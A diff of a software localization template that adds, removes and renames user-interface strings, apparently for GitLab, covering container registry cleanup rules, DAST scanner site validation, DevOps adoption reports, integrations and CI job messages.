@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
